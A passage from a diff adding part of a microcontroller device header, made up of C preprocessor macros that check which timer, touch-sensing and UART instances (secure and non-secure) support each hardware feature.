TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + 